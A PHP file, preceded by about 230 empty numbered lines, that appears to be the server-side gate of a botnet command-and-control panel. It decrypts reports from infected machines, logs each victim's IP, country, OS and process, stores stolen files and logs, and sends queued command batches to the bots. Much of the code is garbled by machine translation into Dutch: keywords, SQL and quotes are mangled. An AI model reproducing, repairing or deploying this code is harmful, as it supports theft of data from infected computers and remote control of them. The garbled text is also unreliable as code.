1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
121:
122:
123:
124:
125:
126:
127:
128:
129:
130:
131:
132:
133:
134:
135:
136:
137:
138:
139:
140:
141:
142:
143:
144:
145:
146:
147:
148:
149:
150:
151:
152:
153:
154:
155:
156:
157:
158:
159:
160:
161:
162:
163:
164:
165:
166:
167:
168:
169:
170:
171:
172:
173:
174:
175:
176:
177:
178:
179:
180:
181:
182:
183:
184:
185:
186:
187:
188:
189:
190:
191:
192:
193:
194:
195:
196:
197:
198:
199:
200:
201:
202:
203:
204:
205:
206:
207:
208:
209:
210:
211:
212:
213:
214:
215:
216:
217:
218:
219:
220:
221:
222:
223:
224:
225:
226:
227:
228:
229:
230:
231:
|
" codeBody "
php
/*********************/
/* */
/* versie: 5.1.0 */
/* auteur: RM */
/* commentaar: 071223 */
/* */
/*********************/
functie sendemptyreply ()
{
$REPLY_DATA = PAK („LLL“, HEADER_SIZE + ITEM_HEADER_SIZE, 0, 1). „J ¿ \ x136 ¿ K ¿ ¿ y ¿ u.#H \ x18 ¿ \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00“;
echo rc4 ($reply_data, BIN_CRYPTKEY);
uitgang ();
}
functie getcountryipv4 ()
{
globale $real_ipv4;
$ip = sprintf („%u“, ip2long ($real_ipv4));
als (($r = @mysql_query („UITGEZOCHT c VAN ipv4toc WAAR l<='".$ip. „„EN h>=““. $ip. „'GRENS 1“)) && ($m = mysql_fetch_row ($r))! == vals)
{
terugkeer $m [0];
}
terugkeer „--“;
}
functie touint ($str)
{
$q = @unpack („L“, $str);
als (is_array ($q) is_numeric && ($q [1]))
{
terugkeer $q [1];
}
terugkeer 0;
}
functie toint ($str)
{
$q = @unpack („l“, $str);
als (is_array ($q) is_numeric && ($q [1]))
{
terugkeer $q [1];
}
terugkeer 0;
}
functie toushort ($str)
{
$q = @unpack („S“, $str);
als (is_array ($q) is_numeric && ($q [1]))
{
terugkeer $q [1];
}
terugkeer 0;
}
bepaal („__REPORT“, „1“);
als ($_SERVER [„REQUEST_METHOD“]! == „POST“)
{
uitgang ();
}
require_once („systeem/global.php“);
require_once („systeem/config.php“);
$data = @file_get_contents („php: //input“);
$data_size = @strlen ($data);
als ($data_size < HEADER_SIZE + ITEM_HEADER_SIZE)
{
uitgang ();
}
$data = rc4 ($data, BIN_CRYPTKEY);
als (strcmp (md5 (substr (ware $data, HEADER_SIZE),), substr ($data, HEADER_MD5, 16))! == 0)
{
uitgang ();
}
$list = serie ();
$i = HEADER_SIZE;
terwijl ($i < $data_size)
{
$k = @unpack („L4“, @substr ($data, $i, ITEM_HEADER_SIZE));
$list [$k [1]] = @substr ($data, $i + ITEM_HEADER_SIZE, $k [3]);
$i += ITEM_HEADER_SIZE + $k [3];
}
unset ($data);
als (leeg ($list [SBCID_BIN_VERSION]) || leeg ($list [SBCID_BIN_ID]))
{
uitgang ();
}
als (! connecttodb ())
{
uitgang ();
}
$bin_id = versiering ($list [SBCID_BIN_ID]);
$bin_id_q = addslashes ($bin_id);
$binnet = leeg ($list [SBCID_BINNET])? DEFAULT_BINNET: versiering ($list [SBCID_BINNET]);
$binnet_q = addslashes ($binnet);
$bin_version = touint ($list [SBCID_BIN_VERSION]);
$real_ipv4 = versiering (! leeg ($_GET [„ip“])? $_GET [„ip“]: $_SERVER [„REMOTE_ADDR“]);
$country = getcountryipv4 ();
$country_q = addslashes ($country);
$curtime = tijd ();
$rtime_min_online = $curtime - BIN_TIMEOUT * 60;
als (! leeg ($list [SBCID_BATCH_STATUS]))
{
{
mysql_query (de „UPDATE bincmdbatches PLAATSTE complete=complete+1, complete_BINs=CONCAT (complete_BINs, „\ \ 0“. $bin_id_q. “ \ \ 0“) WAAR batch_id='".toint ($list [SBCID_BATCH_STATUS]). “ 'GRENS 1 ");
file_put_contents („2“, mysql_error ());
sendemptyreply ();
}
anders
{
als (! leeg ($list [SBCID_BINLOG]) || ! leeg ($list [SBCID_BINLOG_TYPE]))
{
$type = touint ($list [SBCID_BINLOG_TYPE]);
als ($type == BLT_FILE)
{
$bad_exts = serie („php“, „aspis“, „exe“, „pl“, „CGI“, „cmd“, „knuppel“);
$fd_hash = md5 ($list [SBCID_BINLOG]);
$file_path = str_replace („\ \“, „/“, „/“. $BINnet. „/“. $BIN_id. „/“. (leeg ($list [SBCID_PATH_DEST])? „onbekend“: $list [SBCID_PATH_DEST]));
als (strpos ($file_path, „/.“ ) valse ===)
{
$file_path = REPORTS_PATH. „/files/“. $file_path;
$inf = pathinfo ($file_path);
als (leeg ($inf [„uitbreiding“]))
{
$inf [„uitbreiding“] = „dat“;
}
$file_path = $inf [„dirname“]. “/„.basename ($inf [„basename“],“. „. $inf [„uitbreiding“]). „*.“. $inf [„uitbreiding“];
als (array_search (strtolower ($inf [„uitbreiding“]), $bad_exts)! == vals)
{
$file_path. = „.dat“;
}
$i = 0;
voor (; $i < 9999; ++$i)
{
$f = str_replace („*“, $i == 0? "": “ [„. $i.“] „, $file_path);
als (file_exists ($f))
{
als (($fd_size = filesize ($f)) && strcmp (md5_file ($f), $fd_hash) === 0)
{
onderbreking;
als (md5_file ($f))
{
onderbreking;
}
}
anders
{
als (createdir ($inf [„dirname“]))
{
}
als (! ($h = fopen ($f, „wb“)))
{
uitgang ();
}
troep ($h, LOCK_EX);
fwrite ($h, $list [SBCID_BINLOG]);
troep ($h, LOCK_UN);
fclose ($h);
}
onderbreking;
}
}
}
als anders (REPORTS_TO_DB == 1)
{
$table = „reports_“ .gmdate („ymd“, $curtime);
$QUERY = „NEEM VERTRAAGD OP IN“. $table. „PLAATS BIN_id='".$bin_id_q. „„, BINnet=““. $BINnet_q. „„, BIN_version=““. $BIN_version. „„, path_source=““. (leeg ($list [SBCID_PATH_SOURCE])? "": addslashes ($list [SBCID_PATH_SOURCE])). „„, path_dest=““. (leeg ($list [SBCID_PATH_DEST])? "": addslashes ($list [SBCID_PATH_DEST])). „„, time_system=““. (leeg ($list [SBCID_TIME_SYSTEM])? 0: toint ($list [SBCID_TIME_SYSTEM])). „„, time_tick=““. (leeg ($list [SBCID_TIME_TICK])? 0: toint ($list [SBCID_TIME_TICK])). „„, time_localbias=““. (leeg ($list [SBCID_TIME_LOCALBIAS])? 0: toint ($list [SBCID_TIME_LOCALBIAS])). „„, os_version=““. (leeg ($list [SBCID_OS_INFO])? "": addslashes ($list [SBCID_OS_INFO])). „„, language_id=““. (leeg ($list [SBCID_LANGUAGE_ID])? 0: toushort ($list [SBCID_LANGUAGE_ID])). „„, process_name=““. (leeg ($list [SBCID_PROCESS_NAME])? "": addslashes ($list [SBCID_PROCESS_NAME])). „„, type=““. $type. „„, ipv4=““ .addslashes ($real_ipv4). „„, country=““. $country_q. „„, rtime=““. $curtime. „„, context=““ .addslashes ($list [SBCID_BINLOG]). „'“;
als (@! mysql_query ($query) || @ (! MYSQL_QUERY („CRE�ëR LIJST ALS NIET“ BESTAAT. $table. „ALS rapporten“) &&! @mysql_query ($query)))
{
uitgang ();
}
}
als anders (REPORTS_TO_FS == 1)
{
$file_path = str_replace („\ \“, „/“, „/“. $BINnet. „/“. $real_ipv4);
als (! (strpos ($file_path, „/.“ ) valse ===))
{
onderbreking;
}
$file_path = REPORTS_PATH. „/logs/“. $file_path;
als (createdir ($file_path))
{
}
als (! ($h = fopen ($file_path. „/“. $BIN_id, „wb“)))
{
uitgang ();
}
troep ($h, LOCK_EX);
fwrite ($h, „bin_id=“. $bin_id. “ \ r \ nbinnet= ". $binnet. „\ r \ ntime_system=“. (leeg ($list [SBCID_TIME_SYSTEM])? 0: ftime („H: i: s d.m.Y“, toint ($list [SBCID_TIME_SYSTEM]))). “ \ r \ ntime_tick= ". (leeg ($list [SBCID_TIME_TICK])? 0: toint ($list [SBCID_TIME_TICK])). „\ r \ ntime_localbias=“. (leeg ($list [SBCID_TIME_LOCALBIAS])? 0: toint ($list [SBCID_TIME_LOCALBIAS])). “ \ r \ nlanguage_id= ". (leeg ($list [SBCID_LANGUAGE_ID])? 0: toushort ($list [SBCID_LANGUAGE_ID])). „\ r \ nprocess_name=“. (leeg ($list [SBCID_PROCESS_NAME])? "": $list [SBCID_PROCESS_NAME]). “ \ r \ ntype= ". $type. „\ r \ nipv4=“. $real_ipv4. “ \ r \ ncountry= ". $country. „\ r \ nrtime=“ .ftime („H: i: s d.m.Y“, $curtime). “ \ r \ ncontext= ". $list [SBCID_BINLOG]. „\ r \ n \ r \ n \ r \ n“);
troep ($h, LOCK_UN);
fclose ($h);
}
}
als anders (! leeg ($list [SBCID_BIN_STATUS]))
{
$query = „BIN_id='".$bin_id_q. „„, BINnet=““. $BINnet_q. „„, BIN_version=““. $BIN_version. „„, net_latency=““. (leeg ($list [SBCID_NET_LATENCY])? 0: touint ($list [SBCID_NET_LATENCY])). „„, port_s1=““. (leeg ($list [SBCID_PORT_S1])? 0: toushort ($list [SBCID_PORT_S1])). „„, time_localbias=““. (leeg ($list [SBCID_TIME_LOCALBIAS])? 0: toint ($list [SBCID_TIME_LOCALBIAS])). „„, os_version=““. (leeg ($list [SBCID_OS_INFO])? "": addslashes ($list [SBCID_OS_INFO])). „„, language_id=““. (leeg ($list [SBCID_LANGUAGE_ID])? 0: toushort ($list [SBCID_LANGUAGE_ID])). „„, ipv4=““ .addslashes ($real_ipv4). „„, country=““. $country_q. „„, rtime_last=““. $curtime. „'“;
als (mysql_query („TUSSENVOEGSEL IN BINlist VASTGESTELDE rtime_first='".$curtime. „„, rtime_online=“ {$curtime} „, flag_install=““. (touint ($list [SBCID_BIN_STATUS]) == BS_INSTALLED? 1: 0). „„,“. $query. („OP DUBBELE ZEER BELANGRIJKE UPDATE rtime_online=IF (rtime_last <=“ „. $rtime_min_online. “ „,“ {$curtime} ', rtime_online), {$query} „)))
{
onderbreking;
}
uitgang ();
}
anders
{
uitgang ();
}
} terwijl (0);
}
$reply_data = "";
$reply_count = 0;
$BIN_id_q = tosqlsafemask ($BIN_id_q);
$BINnet_q = tosqlsafemask ($BINnet_q);
$country_q = tosqlsafemask ($country_q);
$r = @mysql_query („UITGEZOCHTE identiteitskaart, batch_id, batch_text VAN BINcmdbatches WAAR flag_disabled=0 EN (send_limit=0 OF sended < send_limit) EN“. („(complete_BINs ALS „geen % \ \ 0“. $BIN_id_q. “ \ \ 0%“) EN „). (“ (countries_wl= '' OF countries_wl ZOALS BINAIRE „% \ \ 0 ". $country_q. „\ \ 0%“) EN“). („(COUNTRIES_BL ALS GEEN BINAIRE „% \ \ 0“. $country_q. “ \ \ 0%“) EN „). (“ (binnets_wl= '' OF binnets_wl ZOALS BINAIRE „% \ \ 0 ". $BINnet_q. „\ \ 0%“) EN“). („(BINNETS_BL ALS GEEN BINAIRE „% \ \ 0“. $BINnet_q. “ \ \ 0%“) EN „). (“ (BINs_wl= '' OF BINs_wl ZOALS BINAIRE „% \ \ 0 ". $BIN_id_q. „\ \ 0%“)“). „GRENS 10“);
terwijl ($r && ($m = mysql_fetch_row ($r)))
{
$size = strlen ($m [2]);
$reply_data. = pak in („LLLL“, $m [1], 0, $size, $size). $m [2];
++$reply_count;
@mysql_query (de „UPDATE bincmdbatches PLAATSTE sended=sended+1 WAAR id='".$m [0]. „'GRENS 1“);
}
als (0 < $reply_count)
{
$reply_data = pak („LLL“, HEADER_SIZE + strlen ($reply_data), 0, $reply_count) .md5 (ware $reply_data,) in. $reply_data;
echo rc4 ($reply_data, BIN_CRYPTKEY);
uitgang ();
}
sendemptyreply ();
? >
|